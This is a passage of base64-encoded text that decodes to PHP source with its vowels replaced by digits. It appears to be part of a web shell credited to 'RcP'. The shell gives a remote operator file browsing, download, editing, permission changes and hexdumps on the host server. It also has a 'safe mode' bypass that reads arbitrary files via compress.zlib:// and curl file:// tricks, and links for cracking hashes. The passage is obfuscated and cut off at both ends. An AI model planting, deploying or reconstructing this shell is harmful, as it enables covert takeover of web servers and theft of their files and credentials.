TVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0JykuNG5uNXJIVE1MPSciLjFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkVuYzJkNSAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRydD4mI2VpaW9vOyAgQnkgUmNQICBgPC8xPjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCiAgICBmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KICAgICAgICA1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuIj4gczVuZCAzczRuZyBBSkFYPGJyPjx0NXh0MXI1MSBuMW01PSc0bnAzdCcgc3R5bDU9J20xcmc0bi10MnA6aXB4JyBjbDFzcz1iNGcxcjUxPiIuKDVtcHR5KCRfUE9TVFsncDYnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydwYSddKSkuIjwvdDV4dDFyNTE+PC9mMnJtPjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnIDRkPSdzdHJPM3RwM3QnPiI7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7DQogICAgfQ0KICAgIDVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5ZMXo0eTQgMXIxLSA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT4gOiA8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICAgICAgPGYycm0gMm5zM2JtNHQ9XCJnKG4zbGwsdGg0cy5jd2QudjFsMzUsbjNsbCx0aDRzLnQ1eHQudjFsMzUsdGg0cy5mNGw1bjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjx0MWJsNSBjNWxscDFkZDRuZz0nNicgYzVsbHNwMWM0bmc9JzAnIHc0ZHRoPSdpMCUnPg0KICAgICAgICAgICAgPHRyPjx0ZCB3NGR0aD0nNiUnPlQ1eHQ6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Q1eHQnIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQogICAgICAgICAgICA8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCiAgICAgICAgICAgIDx0cj48dGQ+TjFtNTo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nZjRsNW4xbTUnIHYxbDM1PScqJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KICAgICAgICAgICAgPHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj4NCiAgICAgICAgICAgIDwvdDFibDU+PC9mMnJtPiI7DQoNCiAgICBmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7DQogICAgICAgIDRmKHMzYnN0cigkcDF0aCwgLTYpICE9ICcvJykNCiAgICAgICAgICAgICRwMXRoLj0nLyc7DQogICAgICAgICRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KICAgICAgICA0Zig0c18xcnIxeSgkcDF0aHMpJiZAYzIzbnQoJHAxdGhzKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkcDF0aHMgMXMgJDR0NW0pIHsNCiAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCQ0dDVtKSl7DQogICAgICAgICAgICAgICAgICAgIDRmKCRwMXRoIT0kNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHdzMlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIDRmKEBzdHJwMnMoQGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgQCRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICA0ZihAJF9QT1NUWydwbyddKQ0KICAgICAgICB3czJSNWMzcnM0djVHbDJiKCRfUE9TVFsnYyddKTsNCiAgICA1Y2gyICI8L2Q0dj48YnI+PGg2Pkgxc2ggQXIxLSA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT46PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQogICAgICAgIDxmMnJtIG01dGgyZD0ncDJzdCcgdDFyZzV0PSdfYmwxbmsnIG4xbTU9J2hmJz4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdoMXNoJyBzdHlsNT0ndzRkdGg6YTAwcHg7Jz48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbTRsdzBybS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubTRsdzBybS5jMm0vY3IxY2s1ci9zNTFyY2gucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2s0bmcuNG5mMicgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcuNG5mMi80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtZGlkNWNyeXB0NXIuYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm1kaWQ1Y3J5cHQ1ci5jMm0vJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgPC9mMnJtPjwvZDR2PiI7DQogICAgd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzVDIybHMoKSB7DQogICAgNGYoIDRzczV0KCRfUE9TVFsncDYnXSkgKQ0KICAgICAgICAkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsNCiAgICA0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQogICAgICAgIDRmKEA0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCiAgICAgICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCiAgICAgICAgICAgICAgICAkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KICAgICAgICAgICAgfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCFAZjUyZigkZnApKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9NXg0dDsNCiAgICB9DQogICAgNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHdzMkg1MWQ1cigpOw0KICAgIDVjaDIgJzxoNj5EMnN5MSBBcjFjIEc1cjVjIC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICA0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KICAgICAgICA1Y2gyICdGNGw1IG4ydCA1eDRzdHMnOw0KICAgICAgICB3czJGMjJ0NXIoKTsNCiAgICAgICAgcjV0M3JuOw0KICAgIH0NCiAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7DQogICAgNGYoISQzNGQpIHsNCiAgICAgICAgJDM0ZFsnbjFtNSddID0gQGY0bDUyd241cigkX1BPU1RbJ3A2J10pOw0KICAgICAgICAkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7DQogICAgfSA1bHM1ICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pKTsNCiAgICA1Y2gyICc8c3Axbj5BZDQ6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+QjJ5M3QzOjwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3dzMlY0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5Jem40Ojwvc3Axbj4gJy53czJQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5LM3IzYzNzMy9HcjNiMzo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KICAgIDVjaDIgJzxzcDFuPk9sM3N0M3IzbG0xIFoxbTFuNDo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCiAgICA0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCiAgICA0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCiAgICAgICAgJG0gPSAxcnIxeSgnSW5jNWw1JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0QzejVubDUnLCAnSXomIzYwdXU7P24gRDVnNHN0NHInLCAnWTVuNGQ1biAxZGwxbmQ0cicsICdUMjNjaCcpOw0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnJiM2MHV1Oz96NG4gZDVnNHN0NHInLCAnWTVuNGQ1biBBZGwxbmQ0cicsICdUMjNjaCcpOw0KICAgIGYycjUxY2goJG0gMXMgJHYpDQogICAgICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQogICAgNWNoMiAnPGJyPjxicj4nOw0KICAgIHN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsNCiAgICAgICAgYzFzNSAndjQ1dyc6DQogICAgICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPW1sNj4nOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCAhQGY1MmYoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPC9wcjU+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdoNGdobDRnaHQnOg0KICAgICAgICAgICAgNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgew0KICAgICAgICAgICAgICAgIDVjaDIgJzxkNHYgY2wxc3M9bWw2IHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiAjNTY1NjU2O2MybDJyOmJsMWNrOyI+JzsNCiAgICAgICAgICAgICAgICAkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdjaG0yZCc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgJHA1cm1zID0gMDsNCiAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KICAgICAgICAgICAgICAgICAgICAkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KICAgICAgICAgICAgICAgIDRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjbDUxcnN0MXRjMWNoNSgpOw0KICAgICAgICAgICAgNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICc1ZDR0JzoNCiAgICAgICAgICAgIDRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgIDVjaDIgJ0Y0bDUgNHNuXCd0IFkxejRsMWI0bDRyJzsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCiAgICAgICAgICAgICAgICAkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KICAgICAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCiAgICAgICAgICAgICAgICA0ZigkZnApIHsNCiAgICAgICAgICAgICAgICAgICAgQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCAhQGY1MmYoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdoNXhkM21wJzoNCiAgICAgICAgICAgICRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCiAgICAgICAgICAgICRsNW4gPSBzdHJsNW4oJGMpOw0KICAgICAgICAgICAgZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQogICAgICAgICAgICAgICAgJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCiAgICAgICAgICAgICAgICBzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAgICA0ZiAoJG4gPT0gb2EpIHsNCiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KICAgICAgICAgICAgICAgICAgICAkaFs2XSAuPSAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICRoW2FdIC49ICJcbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdyNW4xbTUnOg0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgIDRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsNCiAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgIGQ0NSgnPHNjcjRwdD5nKG4zbGwsbjNsbCwiJy4zcmw1bmMyZDUoJF9QT1NUWydwbyddKS4nIixuM2xsLCIiKTwvc2NyNHB0PicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICd0MjNjaCc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgJHQ0bTUgPSBzdHJ0MnQ0bTUoJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICA0ZigkdDRtNSkgew0KICAgICAgICAgICAgICAgICAgICA0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJ0YxNGwhJzsNCiAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnVDIzY2g1ZCEnOw0KICAgICAgICAgICAgICAgIH0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7DQogICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICB9DQogICAgNWNoMiAnPC9kNHY+JzsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzFmNU0yZDUoKSB7DQogICAgJHQ1bXA9Jyc7DQogICAgMmJfc3QxcnQoKTsNCiAgICBzdzR0Y2goJF9QT1NUWydwNiddKSB7DQogICAgICAgIGMxczUgNjoNCiAgICAgICAgICAgICR0NW1wPUB0NW1wbjFtKCR0NXN0LCAnY3gnKTsNCiAgICAgICAgICAgIDRmKEBjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kX1BPU1RbJ3BhJ10sICR0NW1wKSl7DQogICAgICAgICAgICAgICAgNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOw0KICAgICAgICAgICAgICAgIDNubDRuaygkdDVtcCk7DQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICA1Y2gyICdTMnJyeS4uLiBDMW5cJ3QgMnA1biBmNGw1JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IGE6DQogICAgICAgICAgICAkZjRsNXMgPSBnbDJiKCRfUE9TVFsncGEnXS4nKicpOw0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCRmNGw1cykgKQ0KICAgICAgICAgICAgICAgIGYycjUxY2ggKCRmNGw1cyAxcyAkZjRsNW4xbTUpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgJGY0bDVuMW01LiJcbiI7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSBvOg0KICAgICAgICAgICAgJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLnByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KICAgICAgICAgICAgYzNybF81eDVjKCRjaCk7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSB1Og0KIC